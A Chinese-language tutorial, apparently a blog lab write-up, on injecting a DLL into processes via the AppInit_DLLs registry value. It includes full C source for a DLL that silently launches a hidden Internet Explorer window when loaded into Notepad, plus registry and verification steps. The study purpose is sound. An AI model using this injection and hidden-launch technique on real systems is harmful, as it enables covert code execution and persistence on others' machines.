1. 程式人生 > >DLL注入:使用登錄檔進行DLL注入

DLL注入:使用登錄檔進行DLL注入

實驗原理
(1)在登錄檔編輯器中,將要注入的DLL的路徑字串寫入AppInt_DLLs專案,把LoadAppInit_DLL的專案值設為1。重啟後,指定DLL會注入所有執行的程序。
(2)其實是,user32.dll被載入到程序時,會讀取AppInit_DLLs登錄檔項,若有值,則呼叫LoadLibrary載入使用者DLL。因此嚴格講,該DLL只是被載入到載入user32.dll的程序。
(3)注意:xp會忽略LoadAppInit_DLL項。

myhack2.dll原始碼:

#include "windows.h"
#include "tchar.h"

#define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplorer.exe"
#define DEF_ADDR L"http://www.baidu.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDll,DWORD fdwReason,LPVOID lpvReversed)
{
	TCHAR szCmd[MAX_PATH] = {0,};
	TCHAR szPath[MAX_PATH] = {0,};
	TCHAR *p = NULL;
	STARTUPINFO si = {0,}; //STARTUPINFO用於指定新視窗特定的一個結構
	PROCESS_INFORMATION pi = {0,}; // 建立程序時相關資料結構之一,返回有關程序和主執行緒的資訊

	si.cb = sizeof(STARTUPINFO); // 表示包含STARTUPINFO結構中的位元組數
	si.dwFlags = STARTF_USESHOWWINDOW; // 使用wShowWindow成員
	si.wShowWindow = SW_HIDE; // 視窗隱藏

	switch(fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		if(!GetModuleFileName(NULL,szPath,MAX_PATH))// NULL表示返回該應用程式全路徑
			break;
		if(!(p = _tcsrchr(szPath,'\\')))
			break;
		if(_tcsicmp(p+1,DEF_DST_PROC))// 比較兩個字串
			break;

		wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR);// 緩衝區;格式;要列印的字元
		// 建立一個新程序及其主執行緒;
		if(!CreateProcess(NULL,(LPTSTR)(LPCSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
			break;
		if(pi.hProcess != NULL)
			CloseHandle(pi.hProcess);

		break;
	}
	return TRUE;

}

若當前載入自己的程序是’notepad.exe’,則以隱藏模式執行IE,連結指定網站。

首先將dll放到合適的位置,如c:\work資料夾下;
修改登錄檔:執行登錄檔編輯器regedit.exe,進入路徑
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
在這裡插入圖片描述
如果不是xp系統還需要修改LoadAppInit_DLLs登錄檔項為1.(xp沒有這個表項)

重啟系統
開啟Process Explorer,搜尋載入myhack2.dll的程式
在這裡插入圖片描述
發現IE果然被隱藏執行了!哈哈,厲害了!
在這裡插入圖片描述

補充知識:
(1)LPTSTR: 表示指向字串的指標。相當於char *
LPCTSTR: 表示指向const字串的指標。相當於const char*
LP: 長指標;C:常量;STR:字串
(2)STARTUPINFO: 用於指定新視窗特定的一個結構
(3)PROCESS_INFORMATION:建立程序時相關資料結構之一,返回有關程序和主執行緒的資訊
(4)

GetModuleFileName()
(5)_tcsicmp
(6)CreateProcess()
(7)wsprintf()